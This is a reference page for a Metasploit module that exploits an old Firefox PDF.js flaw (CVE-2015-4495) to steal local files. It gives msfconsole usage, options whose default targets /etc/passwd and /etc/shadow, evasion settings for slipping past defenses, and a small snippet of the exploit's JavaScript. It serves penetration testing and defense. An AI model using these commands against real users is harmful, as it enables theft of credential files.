Firefox PDF.js Browser File Theft - Metasploit


This page contains detailed information about how to use the auxiliary/gather/firefox_pdfjs_file_theft metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Firefox PDF.js Browser File Theft
Module: auxiliary/gather/firefox_pdfjs_file_theft
Source code: modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
Disclosure date: -
Last modification time: 2020-05-12 22:15:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-4495

This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR 38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with privileges to read local files. The in-the-wild malicious payloads searched for sensitive files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they do not use the Mozilla PDF viewer.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/gather/firefox_pdfjs_file_theft
msf auxiliary(firefox_pdfjs_file_theft) > exploit

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Msfconsole Usage


Here is how the gather/firefox_pdfjs_file_theft auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/firefox_pdfjs_file_theft

msf6 auxiliary(gather/firefox_pdfjs_file_theft) > show info

       Name: Firefox PDF.js Browser File Theft
     Module: auxiliary/gather/firefox_pdfjs_file_theft
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Unknown
  fukusa
  Unknown

Available actions:
  Name       Description
  ----       -----------
  WebServer  Serve exploit via web server

Check supported:
  No

Basic options:
  Name     Current Setting           Required  Description
  ----     ---------------           --------  -----------
  FILES    /etc/passwd, /etc/shadow  no        Comma-separated list of files to steal
  SRVHOST  0.0.0.0                   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080                      yes       The local port to listen on.
  SSL      false                     no        Negotiate SSL for incoming connections
  SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                            no        The URI to use for this exploit (default is random)

Description:
  This module abuses an XSS vulnerability in versions prior to Firefox 
  39.0.3, Firefox ESR 38.1.1, and Firefox OS 2.2 that allows arbitrary 
  files to be stolen. The vulnerability occurs in the PDF.js 
  component, which uses Javascript to render a PDF inside a frame with 
  privileges to read local files. The in-the-wild malicious payloads 
  searched for sensitive files on Windows, Linux, and OSX. Android 
  versions are reported to be unaffected, as they do not use the 
  Mozilla PDF viewer.

References:
  https://paste.debian.net/290146
  https://news.ycombinator.com/item?id=10021376
  https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/
  https://nvd.nist.gov/vuln/detail/CVE-2015-4495

Module Options


This is a complete list of options available in the gather/firefox_pdfjs_file_theft auxiliary module:

msf6 auxiliary(gather/firefox_pdfjs_file_theft) > show options

Module options (auxiliary/gather/firefox_pdfjs_file_theft):

   Name     Current Setting           Required  Description
   ----     ---------------           --------  -----------
   FILES    /etc/passwd, /etc/shadow  no        Comma-separated list of files to steal
   SRVHOST  0.0.0.0                   yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080                      yes       The local port to listen on.
   SSL      false                     no        Negotiate SSL for incoming connections
   SSLCert                            no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                            no        The URI to use for this exploit (default is random)

Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Serve exploit via web server

Advanced Options


Here is a complete list of advanced options supported by the gather/firefox_pdfjs_file_theft auxiliary module:

msf6 auxiliary(gather/firefox_pdfjs_file_theft) > show advanced

Module advanced options (auxiliary/gather/firefox_pdfjs_file_theft):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ListenerComm                     no        The specific communication channel to use for this service
   PER_FILE_SLEEP  250              no        Milliseconds to wait before attempting to read the frame containing each file
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   SendRobots      false            no        Return a robots.txt file if asked for one
   URIHOST                          no        Host to use in URI (useful for tunnels)
   URIPORT                          no        Port to use in URI (useful for tunnels)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the gather/firefox_pdfjs_file_theft module can do:

msf6 auxiliary(gather/firefox_pdfjs_file_theft) > show actions

Auxiliary actions:

   Name       Description
   ----       -----------
   WebServer  Serve exploit via web server

Evasion Options


Here is the full list of possible evasion options supported by the gather/firefox_pdfjs_file_theft auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/firefox_pdfjs_file_theft) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

aboutNetError


Here is a relevant code snippet related to the "aboutNetError" error message:

174:	          } else {
175:	              throw new Error();
176:	          }
177:	      } catch (e) {
178:	        try {
179:	          if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
180:	              return null;
181:	          } else {
182:	              throw new Error();
183:	          }
184:	        } catch (e) {

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Unknown
  • fukusa
  • Unknown

Version


This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.

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